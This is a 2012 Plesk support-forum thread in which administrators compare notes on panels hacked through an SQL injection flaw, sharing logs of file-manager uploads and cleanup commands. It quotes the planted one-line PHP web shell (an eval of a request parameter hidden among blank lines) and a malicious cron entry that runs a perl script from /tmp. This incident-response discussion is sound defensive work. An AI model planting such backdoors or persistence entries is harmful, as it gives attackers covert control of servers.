• We value your experience with Plesk during 2024
    Plesk strives to perform even better in 2025. To help us improve further, please answer a few questions about your experience with Plesk Obsidian 2024.
    Please take this short survey:

    https://pt-research.typeform.com/to/AmZvSXkx
  • The Horde webmail has been deprecated. Its complete removal is scheduled for April 2025. For details and recommended actions, see the Feature and Deprecation Plan.
  • We’re working on enhancing the Monitoring feature in Plesk, and we could really use your expertise! If you’re open to sharing your experiences with server and website monitoring or providing feedback, we’d love to have a one-hour online meeting with you.

How can you tell if the container or the individual servers were hacked?

D

DyskeS

Guest
How can you tell if Virtuozzo Containers or the individual servers were hacked?

My Plesk was hacked but looking at the Apache access log file for Plesk (/usr/local/psa/admin/logs) where the hacker uploaded malicious PHP scripts to various domains, the IP address of these lines in the log file is of the physical machine of Virtuozzo Containers. It appears as though the hacker came in from Containers. When I login to my Plesk, and try to reproduce the same log, the IP address is of my office (not of the container machine). Incidentally other servers hosted at the same service provider were hacked into at the same time and used to launch a DoS attack.

So, I'm trying to figure out how the hacker gained access.

My Plesk is 8.4.0

Any information related to this would be appreciated. Thank you in advance.
 
Last edited by a moderator:
I'm looking at something similar on Plesk 9.5.4, though the logs show the remote IP of the attacker. This is Plesk 9.5.4 on a standalone server, not a Virtuozzo container. On the server that I'm looking at right now, a bad guy apparently used the recently announced sql injection vulnerability to get admin access to the Plesk Panel and uploaded/created 95 files to various domains on the server. Two days after the files were uploaded/created, they were targeted by multiple remote IPs and caused a packet storm on our network.

A snip from the logs (Plesk control panel logs, not domain apache logs). IPs hidden.

bad.IP our.host.IP:8443 - [07/Feb/2012:22:06:22 -0700] "POST /plesk/client@2/domain@26/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; Maxthon; SV1; .NET CLR 2.0.40607)"
 
I checked one of our targeted VIrtuozzo Containers and confirmed that the hardware node shows up in the logs instead of the remote IP. Plesk 9.5.4 is installed on the container. We're applying the hotfix to all of our systems today.

harddware.node.IP container.IP:8443 - [07/Feb/2012:12:04:45 -0700] "POST /plesk/client@2/domain@11/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Opera/8.01 (Windows NT 5.1; U; ru)"
hardware.node.IP container.IP:8443 - [07/Feb/2012:12:05:09 -0700] "POST /plesk/client@2/domain@11/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Opera/8.01 (Windows NT 5.1; U; ru)"
 
Hi jneff,

Your may even be hacked by the same hacker. I'm not aware of the "recently announced sql injection vulnerability". Could you give me more info on that?

Here's how my log file looks:

[IP of hardware] - - [06/Feb/2012:01:51:32 -0500] "GET /robots.txt HTTP/1.1" 404 870
[IP of hardware] - - [06/Feb/2012:03:46:45 -0500] "POST /login_up.php3 HTTP/1.1" 200 291
[IP of hardware] - - [06/Feb/2012:03:46:52 -0500] "GET /plesk/client@2/domain@/?context=domains HTTP/1.1" 200 7009
[IP of hardware] - - [06/Feb/2012:03:46:54 -0500] "POST /domains/domains.php3 HTTP/1.1" 200 6991
[IP of hardware] - - [06/Feb/2012:03:46:56 -0500] "GET /domains/dom_ctrl.php3?dom_id=41&previous_page=domains&cmd=file_manager HTTP/1.1" 200 298
[IP of hardware] - - [06/Feb/2012:03:47:00 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fhttpdocs&previous_page=filemanager HTTP/1.1" 200 6015
[IP of hardware] - - [06/Feb/2012:03:47:02 -0500] "GET /domains/dom_ctrl.php3?dom_id=41&previous_page=domains&cmd=file_manager HTTP/1.1" 200 298
[IP of hardware] - - [06/Feb/2012:03:47:05 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fhttpdocs%2Fcss&previous_page=filemanager HTTP/1.1" 200 5131
[IP of hardware] - - [06/Feb/2012:03:47:07 -0500] "GET /domains/dom_ctrl.php3?dom_id=41&previous_page=domains&cmd=file_manager HTTP/1.1" 200 298
[IP of hardware] - - [06/Feb/2012:03:47:10 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fhttpdocs%2Fimages&previous_page=filemanager HTTP/1.1" 200 6850
[IP of hardware] - - [06/Feb/2012:03:47:14 -0500] "GET /domains/dom_ctrl.php3?dom_id=41&previous_page=domains&cmd=file_manager HTTP/1.1" 200 298
[IP of hardware] - - [06/Feb/2012:03:47:17 -0500] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fhttpdocs%2Finc&previous_page=filemanager HTTP/1.1" 200 5020
[IP of hardware] - - [06/Feb/2012:03:47:20 -0500] "POST /filemanager/filemanager.php HTTP/1.1" 200 5029

So, he logged in, opened the file manager, browsed into httpdocs directory, then to "css" sub-directory. He didn't like that one, so he went into "images" folder, no like there either, and to "inc" folder, and he liked it because there were other PHP scripts. Then, you can see that he POSTed a file there.

The date is a day before yours but the DoS-type attack happened on Tuesday (2/7/12) evening.
 
Last edited by a moderator:
Here's an example of the Apache log where the hacker accessed the planted PHP file:
188.255.82.0 - - [06/Feb/2012:11:17:52 -0500] "POST /inc/inc_trammel.php HTTP/1.1" 200 175 "-" "node.js"

That IP is a remote IP. Another remote IP found for other domains accessed by the hacker is: 78.139.244.50

All the PHP scripts do the same thing. There is only one line of PHP code (within about 10,000 lines of empty lines):

@eval(urldecode(@$_REQUEST["cpx97axsj7kmh4lu5ljmxa4"]));
 
Sorry, I got confused. You are right. It's not the IP of the container, but is the IP of the hardware that shows up in the log. I just corrected my log file above.
 
Hi,

Our bad guy that created the files through Plesk file utility came in from 178.162.174 netblock on Feb 7 at around 22:00 (GMT-700).

Two days later, those files were hit by a half-dozen or so unrelated IPs from different countries.

We've been chatting with Parallels Support and we've been providing more information to them than they have to us. The sql injection vulnerability apparently allows a bad guy to gain Admin access to the Plesk Panel without knowing or changing the admin password. The hotfix patches that vulnerability. The only reference to it that I've found on Parallels site specifically mentions WIndows, not Linux.

We reveived a notice from Parallels' email system last night about the vulnerability, sent through bluehornet. Others are asking about it here:
http://forum.parallels.com/showthread.php?t=257240&highlight=sql+injection

They haven't given us any additional details, but we had at least 3 of our systems hit by this.
 
I was wondering if it was via SQL as I can see the "client" passwords unencrypted in the database. If you learn anything new, please let me know here. I'll do the same. Thank you.
 
After doing some more research, I realize how weird it is that the hardware node IP shows up in the Apache log of the individual servers. I cannot think of how that can be reproduced.

If you were to log into the Container part of your server via Parallels Power Panel (PPP), you simply use the IP address of that server and add the port number 4643. (I'm sure you know this, but I'm just going through it step by step.) For instance, if your server's IP address is 100.100.100.100, the URL would be:

https://100.100.100.100:4643/

This will get you to the login page for the PPP. From here, you could access the file system of the server and you would be able to create a malicious file anywhere you want, BUT this activity would NOT show up in the Apache log of the server because it's not using the Apache inside of this server. (I've tested this and verified it.) PPP is able to shut down the server inside its Container, so PPP itself is being served from another Web server outside of the server but still inside of the container.

Suppose your hardware node IP address is 200.200.200.200. By using the same port number, you can access the management interface of Virtuozzo Containers. The URL would be:

https://200.200.200.200:4643/

I've never accessed this interface, so I don't know what you can do, but I would imagine that even if you are able to access the file system of individual servers from there, this would not show up in the Apache log of the individual servers.

The only way that I can think of to replicate the log that you and I found is to launch remote desktop type of thing from within the Virtuozzo Containers, and connect to individual servers within it. This would trigger Apache within each server and would leave the log, and the log file would have the IP address of the hardware node. Do you have access to Virtuozzo Containers? Is something like this possible?
 
My service provider confirmed that our hacker likely exploited this SQL injection vulnerability, and they have patched our server. So, I guess this case is closed. I would be curious to know how this exploit works but I guess it's not a good idea to share that sort of information as there are still un-patched Plesks out there.

In a way, we were lucky that all we suffered was a DoS attack as we became clearly aware of the compromise. The worst kind (at least for me) is where they exploit the system quietly over a long period of time.
 
We've recovered Plesk servers

Hello all,

I've recovered a couple of servers that were compromised by this specific attack. If you need assistance with recovery, feel free to call or email!


--
Eric Wheeler
www.GlobalLinuxSecurity.pro
888-LINUX26 (888-546-8926)
 
Fix for SQL Injection vulnerability for Plesk 9.5.4 version has been provided in Microupdate 11 - http://kb.parallels.com/en/112179

The MU doesn't fix the problem.

This morning, on a Plesk 9.5.4 with all MU inxtalled:

122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:16:30 +0100] "POST /plesk/client@10/domain@824/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:16:32 +0100] "GET /plesk/client@10/domain@824/hosting/file-manager/ HTTP/1.1" 200 36661 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:16:36 +0100] "POST /plesk/client@10/domain@824/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:16:38 +0100] "GET /plesk/client@10/domain@824/hosting/file-manager/ HTTP/1.1" 200 36661 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:16:45 +0100] "GET /plesk/client@10/domain@11/hosting/file-manager/?cmd=chdir&file=%2Fcgi-bin%2F HTTP/1.1" 200 34236 "-" "Mozilla/5.0 (Windows; U; Win98; r$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:02 +0100] "POST /plesk/client@10/domain@11/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko $
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:05 +0100] "GET /plesk/client@10/domain@11/hosting/file-manager/ HTTP/1.1" 200 36776 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape/$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:09 +0100] "POST /plesk/client@10/domain@11/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko $
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:11 +0100] "GET /plesk/client@10/domain@11/hosting/file-manager/ HTTP/1.1" 200 36776 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape/$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:19 +0100] "GET /plesk/client@10/domain@810/hosting/file-manager/?cmd=chdir&file=%2Fcgi-bin%2F HTTP/1.1" 200 34300 "-" "Mozilla/5.0 (Windows; U; Win98; $
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:31 +0100] "POST /plesk/client@10/domain@810/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:34 +0100] "GET /plesk/client@10/domain@810/hosting/file-manager/ HTTP/1.1" 200 36702 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:38 +0100] "POST /plesk/client@10/domain@810/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:41 +0100] "GET /plesk/client@10/domain@810/hosting/file-manager/ HTTP/1.1" 200 36702 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:17:48 +0100] "GET /plesk/client@10/domain@828/hosting/file-manager/?cmd=chdir&file=%2Fcgi-bin%2F HTTP/1.1" 200 34285 "-" "Mozilla/5.0 (Windows; U; Win98; $
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:18:01 +0100] "POST /plesk/client@10/domain@828/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko$
122.163.37.126 XXX.XXX.XXX.XXX:8443 - [16/Feb/2012:10:18:04 +0100] "GET /plesk/client@10/domain@828/hosting/file-manager/ HTTP/1.1" 200 36846 "-" "Mozilla/5.0 (Windows; U; Win98; ru-RU; rv:1.4) Gecko Netscape$
 
And what? I see only attempts from Apache access logs. Were these attempts successful? Was Plesk with installed MUs hacked?
 
And what? I see only attempts from Apache access logs. Were these attempts successful? Was Plesk with installed MUs hacked?

Yes, all servers were updated yesterday, according to information provided by Plesk: http://kb.parallels.com/en/113321

But this morning one of our servers got infected again.

The security flaw is still there. I guess that other customers will confirm that the problem is not solved.
 
It's simple, you can expect, or working to solve the problem.

We have 14 servers with Plesk closed.

Waiting for new updates.
 
Hello,

I have the same issues on like 40 servers with Plesk 9.5.4, patch it's working for 8.6 but on 9.5.4 the sql injection is still there.

Also they upload tons of scripts in cgi-bin folder and replace the cron of those domains with:

perl /tmp/.X11-unix >/dev/null 2>&1

you can use this command to remove the cron:

sed -i 's/\* \* \* \* \* perl \/tmp\/.X11-unix >\/dev\/null 2>&1//g' /var/spool/cron/*

and chmod 0 /tmp/.X11-unix
 
Hello,

I have the same issues on like 40 servers with Plesk 9.5.4, patch it's working for 8.6 but on 9.5.4 the sql injection is still there.

Also they upload tons of scripts in cgi-bin folder and replace the cron of those domains with:

perl /tmp/.X11-unix >/dev/null 2>&1

you can use this command to remove the cron:

sed -i 's/\* \* \* \* \* perl \/tmp\/.X11-unix >\/dev\/null 2>&1//g' /var/spool/cron/*

and chmod 0 /tmp/.X11-unix

On 9.3.0 (Linux and Windows) the sql injection still there too.

With this simple command can find the CGI scripts installed:

find /var/www/vhosts/[a-z]*/cgi-bin/ -mmin -2880


Hmm... While you are first from thousands of customers who have installed these vulnerability updates.
Anybody else have compromised Plesk servers with fixes from http://kb.parallels.com/en/113321 ?

And now? We must wait again or Plesk can work to resolve the problem?
 
Last edited:
Back
Top